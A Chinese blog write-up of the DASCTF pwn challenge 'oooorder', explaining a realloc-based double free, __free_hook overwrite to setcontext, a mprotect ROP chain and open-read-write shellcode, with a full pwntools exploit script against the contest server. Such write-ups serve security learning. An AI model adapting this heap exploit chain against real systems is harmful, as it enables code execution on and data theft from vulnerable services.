【pwn】oooorder

DASCTF&NepCTF 部分writeup 目录PWNoooorderspringboardeasyheap(本地成功)RET0p GearpyCharm521MagiaMISC透明度 PWN oooorder 一道不太复杂的题目,利用点都是之前遇到的,运气好拿到了一血 edit中进行了realloc,如果size为0就会执行free,利用这个进行double free,由于禁用了execve,需要用setcontext执行mprotect并执行orw的shellcode 关于orw部分,具体请见这篇博客:BUUCTF-PWN rctf_2019_ 阅读详情

端午节看了dasctf的一个pwn题,学了一个新的姿势。
例行检查
在这里插入图片描述
分析程序
这是个堆的菜单题,并且用了seccomp进行保护,禁用了execve。这时候一般想法是orw直接将flag写出来。但是堆的题禁用了这个还是比较麻烦的,因为堆的题无法对栈进行控制就不能进行rop,这个先放一放,先进行堆利用。
漏洞是在edit中,其中使用的了realloc,当size为0的时候,realloc会free掉这个块,执行两次可以造成tcache dup,这里可以泄露堆地址,第一次任意地址分配可以分配到一个unsortbin大小的chunk,这时就有两个指针指向这个堆块,free7次这个大小的堆块再free这个堆块会进入unsortbin,这时候show可以泄露libc,如果没禁execve,这时候再来一次任意地址分配可以分配到malloc_hook或者free_hook,修改为onegadget就完事了。
但是开了沙箱就要想别的方法了,找了一圈发现了EX师傅的方法,heaporw,利用setcontex函数,这个函数有一段可以控制大部分寄存器,进而orw。

.text:00000000000520A5                 mov     rsp, [rdi+0A0h]
.text:00000000000520AC                 mov     rbx, [rdi+80h]
.text:00000000000520B3                 mov     rbp, [rdi+78h]
.text:00000000000520B7                 mov     r12, [rdi+48h]
.text:00000000000520BB                 mov     r13, [rdi+50h]
.text:00000000000520BF                 mov     r14, [rdi+58h]
.text:00000000000520C3                 mov     r15, [rdi+60h]
.text:00000000000520C7                 mov     rcx, [rdi+0A8h]
.text:00000000000520CE                 push    rcx
.text:00000000000520CF                 mov     rsi, [rdi+70h]
.text:00000000000520D3                 mov     rdx, [rdi+88h]
.text:00000000000520DA                 mov     rcx, [rdi+98h]
.text:00000000000520E1                 mov     r8, [rdi+28h]
.text:00000000000520E5                 mov     r9, [rdi+30h]
.text:00000000000520E9                 mov     rdi, [rdi+68h]
.text:00000000000520E9 ; } // starts at 52070
.text:00000000000520ED ; __unwind {
.text:00000000000520ED                 xor     eax, eax
.text:00000000000520EF                 retn

接着上面,在分配到free_hook后就可以将free_hook修改为setcontex了,然后在堆中设置好各个寄存器的值。先调用read,将mprotect的rop写入,然后修改内存的权限为rwx,写入orw的shellcode,jmp rsp执行shellcode。就完成了。exp在控制了free_hook后的工作可以当成模板直接使用。

from pwn import *

io=remote('183.129.189.60',10028)
libc=ELF('./libc-2.27.so')
context.arch = 'amd64'

def add(size,data):
    io.recvuntil('choice :')
    io.sendline('1')
    io.recvuntil('the order?')
    io.sendline(str(size))
    io.recvuntil('notes:')
    io.send(data)

def show():
    io.recvuntil('choice :')
    io.sendline('3')

def free(idx):
    io.recvuntil('choice :')
    io.sendline('4')
    io.recvuntil('of order:')
    io.sendline(str(idx))

def edit(idx,data):
    io.recvuntil('choice :')
    io.sendline('2')
    io.recvuntil('of order:')
    io.sendline(str(idx))
    io.send(data)

add(0x100,'/bin/sh\x00')#0
add(0x100,p64(0)*0x10)#1
add(0,'')#2
add(8,'c')#3

add(0,'')#4
add(8,'d')#5

[add(0x100,'a') for i in range(7)]
[free(i+6) for i in range(7)]


[edit(2,'') for i in range (5)]
show()

io.recvuntil('[2]:')
heap=u64(io.recv(6).ljust(8,'\x00'))
print(hex(heap))
free(3)
add(8,p64(heap-0x130))#3
add(8,'3')
free(1)
show()

io.recvuntil('[6]:')
libc_base=u64(io.recv(6).ljust(8,'\x00'))-0x3ebca0
print(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
setcontext=libc_base+libc.sym['setcontext']

edit(4,'')
edit(4,'')
free(5)

add(8,p64(free_hook))#1
add(8,p64(setcontext+53))#edit_free_hook  5

syscall=libc_base+libc.search(asm("syscall\nret")).next()
print(hex(syscall))
frame = SigreturnFrame()
frame.rax=0
frame.rdi=0
frame.rsi=free_hook&0xfffffffffffff000
frame.rdx=0x2000
frame.rsp=free_hook&0xfffffffffffff000
frame.rip=syscall
pl=str(frame)

edit(0,pl)
free(0)

layout = [
    libc_base+libc.search(asm("pop rdi\nret")).next(), #: pop rdi; ret;
    free_hook & 0xfffffffffffff000,
    libc_base+libc.search(asm("pop rsi\nret")).next(), #: pop rsi; ret;
    0x2000,
    libc_base+libc.search(asm("pop rdx\nret")).next(), #: pop rdx; ret;
    7,
    libc_base+libc.search(asm("pop rax\nret")).next(), #: pop rax; ret;
    10,
    syscall, #: syscall; ret;
    libc_base+libc.search(asm("jmp rsp")).next(), #: jmp rsp;
]

shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
js failed

mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall

mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall

jmp exit

failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall

exit:
xor edi, edi
mov eax, 231
syscall
''')
io.sendline(flat(layout) + shellcode)
io.interactive()

除了这种方法以外,好像还有一种通过io进行栈上rop的思路,这个坑以后再填。

PWN基础知识及基础栈溢出手法 一、pwntools常用函数 函数 用途 send(data) 发送数据(字符串形式发送) sendline(data) 发送一行数据,默认在行尾加 \n(字符串形式发送) recv(numb=1096,timeout=default) 接收指定字节数的数据 buf = p.recvuntil(“\n”, drop=True) 直到接收到\n为止,drop=True表示丢弃\n,buf为接收到的输出但不包括丢弃的\n recvrepeat(timeout=default) 接 阅读详情

相关推荐

【pwn入门】基础知识

本文是B站学习的笔记,包含一些视频外的扩展知识。

Think++ 2446

PWN入门分享

文章目录什么是PWN?PWN的前置技能可执行文件常见漏洞基础环境环境配置步骤栈溢出漏洞栈函数调用栈ELF文件文件保护机制CanaryNXPIE(ASLR)RELROlinux内存布局结语 pwn基础入门分享 什么是PWN? 以下内容摘自百度百科: ”Pwn”是一个黑客语法的俚语词,是指攻破设备或者系统 。发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵了 。 ​ PWN也可译为二进制漏洞挖掘,在CTF比赛中,PWN题的目标是拿到flag,一般是在l

CK_0ff的博客 1万+

赛题类型 Web、Crypto、Pwn、Reverse、Misc 各是指什么意思?

赛题类型 Web、Crypto、Pwn、Reverse、Misc 各是指什么意思? 一般我们在参加一些”网络安全技能大赛“的时候,都会出现“Web、Crypto、Pwn、Reverse 、Misc”这五种赛题类型,往往很多新手都不清楚各是什么意思?代表了哪些方向? 今天就简单的给大家说说,具体如下: Web(渗透测试) 一般是指web网站渗透、漏洞利用。 例如:命令注入、 SQL注入、代码审计、 Restful API、Owasp10、BurpSuite。 Crypto(密码学) 主要是针对一些密码学,例如

Sumarua的博客 1万+

从零开始入门pwn(一):pwn的介绍以及部分前置知识

目录 一.前言 二.pwn的介绍 pwn的定义 pwn的题目模式 前置知识 一.Linux 二.C语言 三.汇编语言 四.计算机组成原理 三.总结 一.前言 本人凭着一腔热血想要入门pwn,但却被pwn的高入门门槛泼了一次又一次冷水,趁着自己还记得,写一点心得为后来想入门的跟我一样的零基础新手提供一些帮助。 二.pwn的介绍 pwn的定义 想必很多想要入门的新手都已经通过各种各样的入门文章或视频了解了pwn的定义以及方向,但出于礼貌,我在这里还是再重复一下下。...

m0_51466347的博客 4万+

散户逆袭神器:用通达信DIY指数发现下一个光伏储能(附龙头股筛选模板)

本文详细介绍了如何利用通达信软件的自定义指数功能,构建个人专属的行业监控工具,以发现类似光伏储能这样的潜力赛道。文章提供了从零开始的指数编制步骤、核心的龙头股筛选模板,以及五个关键的数据校验技巧,帮助散户投资者实现机构级的行业分析与机会挖掘,有效提升投资决策能力。

w3x4y的博客 483

Ubuntu16.04下禁用scp、sftp和winscp

在上一篇博文《Ubuntu16.04 搭建FTP服务器,设置用户权限为只许上传、禁止下载和删除》中,我讲述了Ubuntu16.04下配置FTP,并且设定用户权限为只能上传数据,禁止下载和删除数据。这算在FTP层面封堵了服务器数据泄露的途径。 但是,Ubuntu系统的scp和sftp还是起作用的,理论上只要能用本地机器ping通服务器,就可以用scp和sftp下载数据,这还是存在数据泄露可能的,所...

HPC&Geophysics攻城狮 5737

【二进制安全】PWN基础入门大全(非常详细)零基础入门到精通,收藏这一篇就够了

PWN是一个黑客之间使用的词语,通常指攻破设备或系统。发音类似“砰”,对黑客而言,这象征着成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被操纵了。在网络安全语境中,PWN通常指的是通过不同的攻击手段如利用漏洞、进行社会工程学攻击等方法成功地获得了一个设备、系统或网络的未授权控制权。一旦攻击者“PWN了”一个系统,他们就可以执行各种恶意活动,如窃取数据、安装恶意软件或制造更广泛的破坏。

leah126的博客 1万+

基于ROS2系统开发机器人

以上是基于ROS 2开发机器人的基本流程和一个简单的发布者-订阅者示例。通过这个流程,你可以逐步扩展和优化你的机器人系统,实现更复杂的功能。

xuweilin的博客 1495

PWN-入门基础

简单介绍四个方面的内容:一是什么是PWN、二是做PWN所需知识储备、三是基于Ubuntu搭建PWN环境、四是在公网上练习PWN题。

工作学习笔记 6431

​​​​手把手教你玩转RT-Thread操作系统专栏--​​​​第5章 设备驱动开发:RT-Thread的设备框架​​​​5.4 I2C/SPI驱动:如何驱动外部传感器(以MPU6050为例)​

通过本节学习,掌握了基于RT-Thread设备模型的I2C/SPI驱动开发流程,包括硬件初始化、寄存器读写、设备注册及应用程序调用。I2C(Inter-Integrated Circuit)和SPI(Serial Peripheral Interface)是嵌入式系统中最常用的两种串行总线协议,广泛用于连接传感器、存储器等外设。函数通过I2C协议读取外设寄存器的数据(如MPU6050的加速度寄存器)。SPI读取需先拉低片选(CS),发送寄存器地址,再读取数据,最后拉高CS。查找I2C设备,并调用。

xiaoheshang_123的博客 124

SpringBoot中使用FastJson解析Json数据

场景 1.SpringBoot默认配置的是Jackson。 2.项目搭建专栏: https://blog.youkuaiyun.com/BADAO_LIUMANG_QIZHI/column/info/35688 实现 引入fastJson的依赖 <!-- fastjson的依赖 --> <dependency> <groupId>com.alibab...

BADAO_LIUMANG_QIZHI的博客 4140

【二进制安全】PWN基础入门大全(非常详细),零基础入门到精通,看这一篇就够了

PWN是一个黑客之间使用的词语,通常指攻破设备或系统。发音类似“砰”,对黑客而言,这象征着成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被操纵了。在网络安全语境中,PWN通常指的是通过不同的攻击手段如利用漏洞、进行社会工程学攻击等方法成功地获得了一个设备、系统或网络的未授权控制权。一旦攻击者“PWN了”一个系统,他们就可以执行各种恶意活动,如窃取数据、安装恶意软件或制造更广泛的破坏。

2401_84618514的博客 6403

【Burp入门第三十三篇】BurpSuite+Proxifier安装配置,实现微信小程序抓包

本文介绍Burp+Proxifier安装配置,实现微信小程序抓包

等风来 5873

DASCTF6月 pwn (oooorder secret Memory_Monster_IV springboard easyheap)

oooorder malloc可以从bin里取回可以保留内容, realloc size为0时会free这个chunk, 本题就有UAF漏洞了 先free然后再取回, 相同的两次操作拿到heap_base, libc_base, 然后uaf把free_hook覆盖为setcontext+53 后半部分是setcontext+orw(请自备flag文件),用在沙盒堆里, setcontext可以看这里, 计算距离rdi的偏移就行, 控制好0xa(rsp)和0xa8(rip) http://bl...

carol2358的博客 1130

让openclaw接入web端的deepseek或着qwen,使用无限token

🪟 Windows: 提供原生的 PowerShell 一键安装支持!配置过程和官方版本是相同的,唯一的区别就是再选则model时要选择带Browser字样的deepseek或者qwen。安装之前需要先清理官方版本的安装痕迹,否则openclaw版本跳转不到这个中文版本。因为此版本与官方版本存在代差,在配置飞书时可能会出现无法安装飞书的情况。剩下的配置保持和官方版本一致操作即可。选中之后需要进行一次网页端的登录。登录后会出现可选择的model。安装完成后会跳到这个中文界面。涉及到接入飞书机器人的操作。

z1872385的博客 302

FPGA 学习笔记:解决FPGA程序固化重新上电程序不运行的问题

FPGA 学习笔记:解决FPGA程序固化重新上电程序不运行的问题

坚韧与专注 1万+

Pwn 二进制漏洞审计

PWN 二进制漏洞审计

于高山之巅,方见大河奔涌;于群峰之上,更觉长风浩荡。 4291

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

PWN入门(1)基础知识和环境设置

pwn"这个词的源起以及它被广泛地普遍使用的原因,源自于魔兽争霸某段讯息上设计师打字时拼错而造成的,原先的字词应该是"own"这个字,因为 ‘p’ 与 ‘o’ 在标准英文键盘上的位置是相邻的,PWN 也是一个黑客语法的俚语词,是指攻破设备或者系统。发音类似"砰”,对黑客而言,这就是成功实施黑客攻击的声音,而在ctf比赛里,pwn是对二进制漏洞的利用。

Ba1_Ma0的博客 5053

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

PWN入门(一)

知识

lulu001128的博客 3374

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

PWN概论

什么是pwn pwn是ctf解题赛中的一个题目类别,它在黑客俚语中代表着攻破,获取权限,由“own”这个词引申而来。在CTF比赛中它代表着溢出类的题目,常见的类型有整数溢出、栈溢出、堆溢出等。主要考查参赛选手对漏洞的利用能力。 学习pwn的知识储备 反汇编工具 在比赛中我们会拿到一个二进制文件(由c文件编译而来),我们要找出这个可执行文件的漏洞,但二进制文件是由0和1的机器码组成,正常人是直接无法看懂里面的内容的,这时我们需要利用反编译工具将这个二进制文件反编译为我们能看懂的语言(汇编语言或者c语言

m0_52249553的博客 8846

linux pwn 基础知识

环境搭建 虚拟机安装 镜像下载网站 为了避免环境问题建议 22.04 ,20.04,18.04,16.04 等常见版本 ubuntu 虚拟机环境各准备一份。注意定期更新快照以防意外。 虚拟机建议硬盘 256 G 以上,内存也尽量大一些。硬盘大小只是上界,256 G 不是真就占了 256 G,而后期如果硬盘空间不足会很麻烦。 基础工具 vim sudo apt install vim gedit 不习惯 vim 的可以使用 gedit 文本编辑器。 sudo apt install gedit git

sky123博客 4625

PWN_初步认识

pwn简介:CTF中的pwn指的是通过通过程序本身的漏洞,编写利用脚本破解程序拿到主机的权限,这就需要对程序进行分析,了解操作系统的特性和相关漏洞,是是一个难度比较大的分支。 接下来介绍相关的学习思路(自己总结的,当作参考)0x01 基础知识准备 pwn相对于web,更需要专业的技能和知识,最主要的是要学会如何分析程序,这就需要有足够的准备c语言汇编语言python操作系统linux操作 C...

CheAyuki13的博客 4998

从零开始入门pwn(二):环境搭建

一.前言 前几天写了一些关于pwn的介绍以及一些前置知识,其实那些知识都是浅尝辄止就行,重点还得放在后续的做题中,边做边学不香吗,不仅有成就感还能快速熟悉pwn绝对不是因为没时间去专门学。 但是之前的前置知识主要还是为了给那些真正没有基础的小白一个相对平滑的入门曲线,对于真正想要入门pwn的同学来说,前置知识其实都已经掌握过了 ...

m0_51466347的博客 2万+
上一篇: 【pwn】 [极客大挑战 2019]Not Bad
下一篇: 【pwn】WMCTF2020 cfgo-CheckIn
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值